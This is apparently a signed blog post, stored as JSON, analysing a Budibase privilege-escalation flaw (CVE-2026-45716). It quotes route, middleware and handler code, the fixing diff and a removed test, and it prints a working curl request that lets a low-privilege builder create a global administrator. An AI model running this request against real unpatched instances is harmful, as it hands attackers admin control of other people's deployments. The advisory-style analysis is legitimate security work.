-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"CVE-2026-45716 is filed against Budibase versions before 3.38.1, with a CVSS vector of `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`. The PR:L in that vector is doing a lot of work; the privilege required is the smallest credential `hasBuilderPermissions` accepts.\n\n## The Safe Routes Are Across The Hall. They Wear A Different Badge.\n\n`packages/worker/src/api/routes/global/users.ts` declares three handlers that can write into the global user table. Two of them require a global admin. One of them required a workspace builder.\n\n```typescript\nadminRoutes\n .post(\n \"/api/global/users/bulk\",\n users.buildUserBulkUserValidation(),\n controller.bulkUpdate\n )\n\nadminRoutes\n .post(\n \"/api/global/users/multi/invite\",\n buildInviteMultipleValidation(),\n controller.inviteMultiple\n )\n\nbuilderOrAdminRoutes\n .post(\n \"/api/global/users/onboard\",\n buildInviteMultipleValidation(),\n controller.onboardUsers\n )\n```\n\n`adminRoutes` is gated by `auth.adminOnly`. `builderOrAdminRoutes` is gated by `auth.workspaceBuilderOrAdmin`. The two admin-only handlers cover the two operations a privileged caller might want: send a batch of invitation emails (`/multi/invite`), or create a batch of users directly (`/bulk`). They are the two paths an administrator's UI would use depending on whether the admin wants the recipients to confirm or wants the accounts to exist now.\n\n`onboardUsers` is the third path. It calls `inviteMultiple` when SMTP is configured and it calls `bulkCreate` when SMTP is not. By design, it is both of the admin-only operations, one or the other, selected at runtime by the operator's email configuration. It lives in a middleware bucket one rank wider than either of the operations it dispatches to.\n\n## The Function Has Two Bodies\n\n```typescript\nexport const onboardUsers = async (\n ctx: Ctx\n) => {\n if (await isEmailConfigured()) {\n await inviteMultiple(ctx)\n return\n }\n\n let createdPasswords: Record = {}\n const users = ctx.request.body.map(invite => {\n const password = generatePassword(12)\n createdPasswords[invite.email] = password\n\n return {\n email: invite.email,\n password,\n forceResetPassword: true,\n roles: invite.userInfo.apps || {},\n admin: { global: !!invite.userInfo.admin },\n builder: invite.userInfo.builder,\n tenantId: tenancy.getTenantId(),\n }\n })\n\n let resp = await userSdk.db.bulkCreate(users)\n for (const user of resp.successful) {\n user.password = createdPasswords[user.email]\n }\n ctx.body = { ...resp, created: true }\n}\n```\n\nThe first branch is the invitation flow. The recipient gets an email containing a code. The code lives in a cache. The recipient must call `POST /api/global/users/invite/accept` with the code, supply their own password, and only then does a user row materialize. The `userInfo.admin` and `userInfo.builder` fields are stored against the invite code, not against a user; whoever ultimately accepts the invite is the one who collects the role.\n\nThe second branch reads `invite.userInfo.admin` and `invite.userInfo.builder` straight off the request body and writes them onto the new user with no further check. There is no recipient confirmation, because there is no recipient that the caller has to be distinct from. The caller is given the password directly. The `forceResetPassword: true` flag fires on next login, but the caller is the one logging in, and the reset is a fresh password they choose.\n\nThe validator on the route is the schema registered for both `inviteMultiple` and `onboardUsers`:\n\n```typescript\nfunction buildInviteMultipleValidation() {\n return auth.joiValidator.body(Joi.array().required().items(\n Joi.object({\n email: Joi.string(),\n userInfo: Joi.object().optional(),\n })\n ))\n}\n```\n\n`userInfo` is `Joi.object().optional()` with no inner schema. The validator accepts whatever shape the caller posts. For the invitation flow that does not matter, because the recipient owns the accept step. For the direct-create flow, it means the caller decides whether the new user is a global administrator.\n\n## A Workspace Builder Has `hasBuilderPermissions` Globally\n\n`workspaceBuilderOrAdmin` is the middleware:\n\n```typescript\nexport async function workspaceBuilderOrAdmin(ctx: UserCtx, next: any) {\n if (ctx.internal || isAdmin(ctx.user)) {\n return next()\n }\n\n const workspaceId = await getWorkspaceIdFromCtx(ctx)\n\n if (workspaceId && !isAdminOrWorkspaceBuilder(ctx.user, workspaceId)) {\n ctx.throw(403, \"Workspace Admin/Builder user only endpoint.\")\n } else if (!workspaceId && !env.isWorker()) {\n ctx.throw(403, \"This request required a workspace id.\")\n } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {\n ctx.throw(403, \"Admin/Builder user only endpoint.\")\n }\n\n return next()\n}\n```\n\n`/api/global/users/onboard` runs in the worker service. Its path carries no workspace identifier. The branch through the middleware that applies is the third one: `!workspaceId && !hasBuilderPermissions(ctx.user)`. If the caller passes `hasBuilderPermissions`, they pass the gate.\n\n```typescript\nexport function hasBuilderPermissions(user?: UserBuilderInfo): boolean {\n if (!user) {\n return false\n }\n return (\n user.builder?.global ||\n hasAppBuilderPermissions(user) ||\n hasCreatorPermissions(user)\n )\n}\n```\n\nThe function returns true for global builders, for per-app builders on any single workspace app, and for any user holding the CREATOR role on any single workspace app. The smallest possible builder, a user with one CREATOR role on one app inside one workspace, satisfies the gate to `/api/global/users/onboard`.\n\nThe full exploit primitive on a default self-hosted instance:\n\n```bash\ncurl -X POST https://budibase.example.com/api/global/users/onboard \\\n -H \"Cookie: budibase:auth=\" \\\n -H \"Content-Type: application/json\" \\\n -d '[{\n \"email\": \"attacker-admin@example.com\",\n \"userInfo\": {\n \"admin\": true,\n \"builder\": { \"global\": true }\n }\n }]'\n```\n\nResponse body:\n\n```json\n{\n \"successful\": [{\n \"_id\": \"us_...\",\n \"email\": \"attacker-admin@example.com\",\n \"password\": \"0a5c1f9b3e7d\"\n }],\n \"unsuccessful\": [],\n \"created\": true\n}\n```\n\nThe caller now holds the credentials for a global administrator on a tenant where, a few seconds ago, they were a per-app builder. They log in, are prompted to reset the password, choose one, and they are the admin.\n\n## The Patch Deletes The Endpoint\n\nThe 3.38.1 fix for CVE-2026-45716 is one commit against this file. The route registration is removed:\n\n```diff\n builderOrAdminRoutes\n ...\n- .post(\n- \"/api/global/users/onboard\",\n- buildInviteMultipleValidation(),\n- controller.onboardUsers\n- )\n```\n\nThe handler is removed:\n\n```diff\n-/*\n- Encapsulate the app user onboarding flows here.\n-*/\n-export const onboardUsers = async (\n- ctx: Ctx\n-) => {\n- if (await isEmailConfigured()) {\n- await inviteMultiple(ctx)\n- return\n- }\n- ...\n- ctx.body = { ...resp, created: true }\n-}\n```\n\nThe 12-byte password generator goes with it, since nothing else in the file uses it. The `isEmailConfigured` import is removed because nothing else in this controller checks for SMTP.\n\nThe patch does not move the route from `builderOrAdminRoutes` to `adminRoutes`. It does not add a role check inside the handler. It does not constrain `userInfo` to a schema that rejects `admin: true` from non-admin callers. It removes the route and the handler. The maintainers concluded there was no version of this endpoint that worked.\n\nThe deleted test confirms what was missing the whole time:\n\n```diff\n- describe(\"POST /api/global/users/onboard\", () => {\n- it(\"should successfully onboard a user\", async () => {\n- const response = await config.api.users.onboardUser([\n- { email: structures.users.newEmail(), userInfo: {} },\n- ])\n- expect(response.successful.length).toBe(1)\n- expect(response.unsuccessful.length).toBe(0)\n- })\n-\n- it(\"should not onboard a user who has been invited\", async () => {\n- ...\n- })\n- })\n```\n\nThe single test that exercised the handler passed `userInfo: {}`. The role-assignment behavior, which is the CVE, was never in a test. The author wrote a fallback for the no-SMTP case, gave that fallback the ability to mint global administrators from request-body fields, and shipped a test suite that only ever passed those fields as empty.\n\n## Confirmation Was Conditional\n\nThe handler's authorization model was not decided by the route or by the function's signature. It was decided by whether the operator had configured SMTP. With SMTP configured, the recipient owned a confirmation step. Without it, the caller owned a direct write.\n\nThe confirmation, in the SMTP path, was the entire defense. Not the route's middleware, which let in workspace builders. Not `buildInviteMultipleValidation`, which accepted any `userInfo`. The defense was that the new user did not exist until the recipient clicked through. The `inviteAccept` step is where the request body finally meets a check on who is allowed to perform it: the recipient holds the inbox, the recipient sets their own password, the recipient is the one to whom the role attaches. When the SMTP branch fired, that check existed downstream. When the no-SMTP branch fired, no downstream step ever ran.\n\n`isEmailConfigured` is implemented like this:\n\n```typescript\nexport async function isEmailConfigured() {\n if (TEST_MODE || env.SMTP_FALLBACK_ENABLED) {\n return true\n }\n const config = await configs.getSMTPConfig()\n return config != null\n}\n```\n\n`getSMTPConfig` looks up an SMTP record from the global configuration store. The default for self-hosted Budibase ships with no SMTP record. An operator who starts a self-hosted instance, creates one workspace, hands one developer the `CREATOR` role on one app, and never gets around to configuring outbound email has produced the exploit's preconditions. The operator did not change a security setting. They left a deployment task undone.\n\nThis is the `confirmation-was-conditional` shape: a privileged-action handler's confirmation step is conditioned on the availability of the confirmation channel. When the channel is unconfigured at the operator level, the handler short-circuits to direct mutation with the credential returned in the HTTP response. The route's middleware authorizes the endpoint as a whole; the runtime branch decides whether the caller transits the confirmation boundary or skips it. The handler's safety lives in the operator's environment, not in the code.\n\nIt is also a `trust-inversion` shape this catalog has seen recently in [WP Maps Pro](/posts/wp-maps-pro-cve-2026-8732-temp-access-creates-admins): a user-management endpoint whose by-design behavior is to mint administrators becomes a privilege-escalation primitive reachable from a much smaller credential. WP Maps Pro gated its admin-minting handler with a CSRF nonce that printed inline on every public page. Budibase gated its admin-minting branch with the operator's SMTP record. Neither of those things is an authentication check. Both of them were dressed as one.\n\nPoC and advisory: [GHSA-c54j-xp92-wh28](https://github.com/advisories/GHSA-c54j-xp92-wh28).","closing_line":"A handler whose security model is selected by `await isEmailConfigured()` does not have a security model. The patch agrees.","hook_md":"Budibase 3.38.0 ships a handler called `onboardUsers`. It is registered at `POST /api/global/users/onboard` through a middleware bucket called `builderOrAdminRoutes`. The first line of the handler asks `await isEmailConfigured()`. If the answer is yes, it hands off to `inviteMultiple`, which mails an invitation code; the recipient has to control the inbox and click through to accept the role. If the answer is no, it generates a twelve-character password, writes the requested account directly via `bulkCreate`, and returns the password in the HTTP response.\n\nThe branch picks the trust model. The route middleware never sees the branch.\n\nThe default for self-hosted Budibase is no SMTP.","post_id":536,"slug":"budibase-cve-2026-45716-two-trust-models","title":"CVE-2026-45716: Budibase's Onboarding Endpoint Has Two Trust Models. SMTP Picks Which One.","type":"initial","unreadable_sentence":"A handler whose security model is selected by `await isEmailConfigured()` does not have a security model."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCapnCDwAKCRDeZjl4jgkQ JsY9AQDXoGNBGgwRQ1tPNnNyBRcTgPtmszMul9dL7xvl8c3GRgD6A9Stin9iAi6u PTxgeu2e8h1M/omoXr6qemdnfpDrvQw= =ldsK -----END PGP SIGNATURE-----